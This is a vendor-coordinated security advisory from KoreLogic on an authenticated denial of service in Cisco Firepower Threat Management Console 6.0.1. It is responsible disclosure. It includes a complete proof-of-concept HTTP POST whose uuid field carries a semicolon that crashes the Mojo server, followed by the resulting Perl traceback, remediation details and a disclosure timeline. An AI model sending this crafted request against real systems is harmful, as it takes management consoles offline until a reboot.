Cisco Firepower Threat Management Console suffers from a denial of service vulnerability. Cisco Fire Linux OS 6.0.1 (build 37/build 1213) is affected.
93b912c298ea153c2c41d2e2762896ea94b468117fac32c32eaf77e232760a41KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial
of Service
Title: Cisco Firepower Threat Management Console Authenticated Denial of Service
Advisory ID: KL-001-2016-004
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-004.txt
1. Vulnerability Details
Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-404: Improper Resource Shutdown or Release
Impact: Denial of Service
Attack vector: HTTP
2. Vulnerability Description
A authenticated user can send an HTTP request that will crash
the Mojo Server thereby making future access impossible until
a system reboot is performed.
3. Technical Description
The parameter uuid is passed to a chmod function as part of
a file path. A ';' in the path causes the function to return
an exception.
POST /pjb.cgi HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Content-Type: application/x-www-form-urlencoded
Referer: https://1.3.3.7/ddd/
Content-Length: 1180
Cookie:
x-auto-507=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D;
x-auto-467=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D;
CGISESSID=ab588faec87c38a18347787e3b442ff8
Connection: close
&function=SF::UI::PJB::Vpn::List::saveVpnDeployment¶meters=%5B%7B%22password%22%3A%22test%22%2C+%22authentication_method%22%3A%22password%22%2C+%22type%22%3A%22PTP%22%2C+%22advanced_setting%22%3A%7B%22ah%22%3A0%2C+%22life_bytes%22%3A%220%22%2C+%22life_time%22%3A1%2C+%22life_time_unit%22%3A%22hours%22%2C+%22life_packets%22%3A%220%22%2C+%22ike_life_time%22%3A3%2C+%22ike_life_time_unit%22%3A%22hours%22%2C+%22ikev2%22%3A1%2C+%22ike_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22modp2048%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22modp2048%22%7D%5D%7D%2C+%22phase2_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22%22%7D%5D%7D%7D%2C+%22status%22%3A0%2C+%22name%22%3A%22test%22%2C+%22uuid%22%3A%2207a0d152-09fc-11e6-93cc-9d074250060f;%22%2C+%22applied%22%3A-1%7D%2C%5B%5D%5D&sf_action_id=a5ba3e29eb18730f7c8dc88d53b48759&ex=1&ss=AllVpnList
As no exception handler is defined, the process exits.
Perl traceback:
The 'file' parameter
("/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;.lock")
to SF::System::chmod did not pass the 'Type Validator
(system.file)' callback
at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 73
SF::System::__ANON__('The \'file\' parameter
("/var/tmp/VPNDeployment-07a0d152-09fc...')
called at /usr/local/sf/lib/perl/5.10.1/SF/System.pm
line 640
SF::System::chmod('HASH(0x114c3c88)')
called at /usr/local/sf/lib/perl/5.10.1/SF/Util.pm
line 619
SF::Util::wait_for_lock('/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;....',
120)
called at
/usr/local/sf/lib/perl/5.10.1/SF/EODataHandler/VPNDeployment.pm
line 206
SF::EODataHandler::VPNDeployment::get_lock('07a0d152-09fc-11e6-93cc-9d074250060f;')
called at
/usr/local/sf/lib/perl/5.10.1/SF/UI/PJB/Vpn/List.pm
line 540
SF::UI::PJB::Vpn::List::saveVpnDeployment('HASH(0x1154bf38)',
'ARRAY(0x11513750)')
called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm
line 859
SF::UI::PJB::executeFunction('SF::UI::PJB::Vpn::List::saveVpnDeployment',
'ARRAY(0x11513720)')
called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm
line 821
SF::UI::PJB::handleRequest('SF::UI::PJB::Vpn::List::saveVpnDeployment',
'[{"password":"test", "authentication_method":"password",
"typ...')
called at
/usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm
line 39
eval {...}
called at
/usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm
line 42
SF::Mojo::Handlers::PjbHandler::handle_pjb_cgi('SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 126
Mojolicious::__ANON__(undef,
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
'CODE(0xd635740)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 23
Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',
'around_action',
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
'CODE(0xd635740)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 106
Mojolicious::Routes::_action('SF::Mojo=HASH(0x905ed38)',
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
'CODE(0xd635740)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 191
Mojolicious::Routes::_controller('Mojolicious::Routes=HASH(0x905f208)',
'Mojolicious::Controller=HASH(0x1064dbf8)',
'HASH(0x10026868)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 43
Mojolicious::Routes::continue('Mojolicious::Routes=HASH(0x905f208)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 51
Mojolicious::Routes::dispatch('Mojolicious::Routes=HASH(0x905f208)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 118
Mojolicious::dispatch('SF::Mojo=HASH(0x905ed38)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 127
Mojolicious::__ANON__(undef,
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm
line 217
eval {...}
called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm
line 217
SF::Mojo::__ANON__('CODE(0x1152fe98)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 199
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 199
Mojolicious::_exception('CODE(0xf58a1098)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 23
Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',
'around_dispatch',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 133
Mojolicious::handler('SF::Mojo=HASH(0x905ed38)',
'Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server.pm line 71
Mojo::Server::__ANON__('Mojo::Server::Prefork=HASH(0x8349e58)',
'Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 15
Mojo::EventEmitter::emit('Mojo::Server::Prefork=HASH(0x8349e58)',
'request', 'Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
line 83
Mojo::Server::Daemon::__ANON__('Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 15
Mojo::EventEmitter::emit('Mojo::Transaction::HTTP=HASH(0x114f6558)',
'request')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Transaction/HTTP.pm
line 65
Mojo::Transaction::HTTP::server_read('Mojo::Transaction::HTTP=HASH(0x114f6558)',
'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:
1.3.3.7\x{d}\x{a}User-Agent: Mozil...')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
line 186
Mojo::Server::Daemon::_read('Mojo::Server::Prefork=HASH(0x8349e58)',
'b2bd7252c6d676b510adb8ba94b9f73f', 'POST /pjb.cgi
HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent:
Mozil...')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
line 166
Mojo::Server::Daemon::__ANON__('Mojo::IOLoop::Stream=HASH(0x103a7e40)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 33
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 33
Mojo::EventEmitter::emit_safe('Mojo::IOLoop::Stream=HASH(0x103a7e40)',
'read', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:
1.3.3.7\x{d}\x{a}User-Agent: Mozil...')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm
line 116
Mojo::IOLoop::Stream::_read('Mojo::IOLoop::Stream=HASH(0x103a7e40)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm
line 53
Mojo::IOLoop::Stream::__ANON__('Mojo::Reactor::EV=HASH(0x88c8ca8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm
line 115
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm
line 115
Mojo::Reactor::Poll::_sandbox('Mojo::Reactor::EV=HASH(0x88c8ca8)',
'Read', 'CODE(0x1152e100)', 0)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 52
Mojo::Reactor::EV::_io('Mojo::Reactor::EV=HASH(0x88c8ca8)',
77, 'EV::IO=SCALAR(0x10667cc8)', 3)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 43
Mojo::Reactor::EV::__ANON__('EV::IO=SCALAR(0x10667cc8)', 3)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 24
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 24
Mojo::Reactor::EV::start('Mojo::Reactor::EV=HASH(0x88c8ca8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop.pm
line 130
Mojo::IOLoop::start('Mojo::IOLoop=HASH(0x88c8a58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
line 214
Mojo::Server::Prefork::_spawn('Mojo::Server::Prefork=HASH(0x8349e58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
line 122
Mojo::Server::Prefork::_manage('Mojo::Server::Prefork=HASH(0x8349e58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
line 96
Mojo::Server::Prefork::run('Mojo::Server::Prefork=HASH(0x8349e58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Hypnotoad.pm
line 77
Mojo::Server::Hypnotoad::run('Mojo::Server::Hypnotoad=HASH(0x8953e50)',
'/var/sf/bin/mojo_server.pl')
called
4. Mitigation and Remediation Recommendation
The vendor has addressed this vulnerability in their Support
Center as Bug ID CSCva30631. Vendor acknowledgement available
at: https://tools.cisco.com/bugsearch/
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel) of
KoreLogic, Inc.
6. Disclosure Timeline
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the remediation details will
be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.
7. Proof of Concept
See Technical Description
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